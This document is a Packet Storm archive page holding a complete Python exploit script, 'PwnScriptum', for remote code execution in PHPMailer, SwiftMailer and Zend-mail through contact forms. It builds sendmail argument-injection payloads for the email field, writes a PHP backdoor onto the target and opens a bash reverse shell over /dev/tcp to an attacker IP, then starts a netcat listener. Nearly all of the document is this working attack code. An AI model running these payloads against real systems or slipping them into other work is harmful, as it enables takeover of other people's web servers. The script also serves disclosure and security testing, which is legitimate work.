Lucene search

K
packetstormDawid GolunskiPACKETSTORM:140349
HistoryJan 03, 2017 - 12:00 a.m.

PHPMailer / Zend-mail / SwiftMailer Remote Code Execution

2017-01-0300:00:00
Dawid Golunski
packetstormsecurity.com
133

0.971 High

EPSS

Percentile

99.8%

`#!/usr/bin/python  
  
intro = """\033[94m   
__ __ __ __ __   
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________  
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/  
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )   
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/   
/____/   
  
  
PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit  
a.k.a "PwnScriptum"  
  
CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074  
  
  
This PoC exploit aims to execute a reverse shell on the target in   
the context of the web-server user via vulnerable PHP email library.  
  
  
Discovered and Coded by:  
  
\033[1;34m   
Dawid Golunski  
https://legalhackers.com  
  
t: @dawid_golunski for updates  
\033[0m  
\033[94m   
P.$. For testing only! Don't break the Web ;)   
\033[0m  
"""  
info = """  
[Version]  
Limited (ver. 1.0)  
  
[PoC Video]  
See the the exploit in action at:  
  
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html  
  
[Info]  
This exploit targets a common webapp component - Contact Form.   
  
It combines payloads for the following vulns:  
  
1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)  
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html  
  
2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)  
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html  
  
3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)  
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html  
  
4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)  
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html  
  
[Usage]  
  
./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT  
[-d TARGET_UP_DIR] -ip ATTACKERS_IP  
[-p ATTACKERS_PORT] [--version]  
[--post-action POST_ACTION]  
[--post-name POST_NAME]  
[--post-email POST_EMAIL]  
[--post-msg POST_MSG]  
  
Note, make sure the contact form matches the default field names (send/name/email/msg).   
Otherwise override with --post-msg=message_box for example.  
  
"""  
  
import os  
import argparse  
import time  
import urllib  
import urllib2  
import socket  
import sys  
  
  
# The Main Meat  
print intro  
  
# Show info  
if '-H' in sys.argv:  
print info  
exit(0)  
# Parse input args  
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')  
parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page')  
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')  
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')  
parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir')  
parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell')  
parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener')  
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')  
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")  
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")  
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")  
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")  
args = parser.parse_args()  
  
# Preset vars  
TMOUT = 3  
# Set Vars  
if args.ATTACKERS_PORT is None:  
args.ATTACKERS_PORT = 8080  
if args.TARGET_UP_DIR is None:  
args.TARGET_UP_DIR = "upload"  
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)  
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'  
BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE  
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT  
  
# Show params  
print """[+] Setting vars to: \n  
WEBAPP_BASE_URL = [%s]  
CONTACT_SCRIPT = [%s]  
TARGET_UP_DIR = [%s]  
ATTACKERS_IP = [%s]  
ATTACKERS_PORT = [%s]  
CONTACT_SCRIPT_URL = [%s]  
BACKDOOR_FILEl = [%s]  
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)  
  
  
print "[+] Choose your target / payload: "  
print "\033[1;34m"  
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""  
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)  
The escapeshellarg() bypass :)\n"""  
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""  
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""  
print "\033[0m"  
  
try:  
target = int(raw_input('[?] Select target [1-2]: '))  
except ValueError:  
print "Not a valid choice. Exiting\n"  
exit(2)  
if (target>4):  
print "No such target. Exiting\n"  
exit(3)  
if target == 1:  
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)  
payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)  
if target == 2:  
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)  
payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)  
if target == 3:  
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)  
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)  
if target == 4:  
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)  
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)  
  
print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR  
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:  
# e.g:   
#RCE_PHP_CODE = "<?php phpinfo(); ?>"   
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)   
  
# The form names might need to be adjusted  
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}  
  
# Attack  
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor  
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL  
data = urllib.urlencode(post_fields)  
req = urllib2.Request(CONTACT_SCRIPT_URL, data)  
response = urllib2.urlopen(req)  
the_page = response.read()  
  
  
# Check if the backdoor was uploaded correctly.  
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine  
# So we catch the timeout to find out.  
  
# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it  
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL  
got_timeout = 0  
http_err = 0  
try:  
urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))  
except urllib2.HTTPError as e:  
http_err = e.code  
except socket.timeout as e:  
print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"  
got_timeout = 1  
  
if (got_timeout != 1):  
print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err  
exit(2)  
  
# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called  
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"  
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"  
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)  
  
print "\n[+] Shell closed\n"  
  
print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"  
  
  
`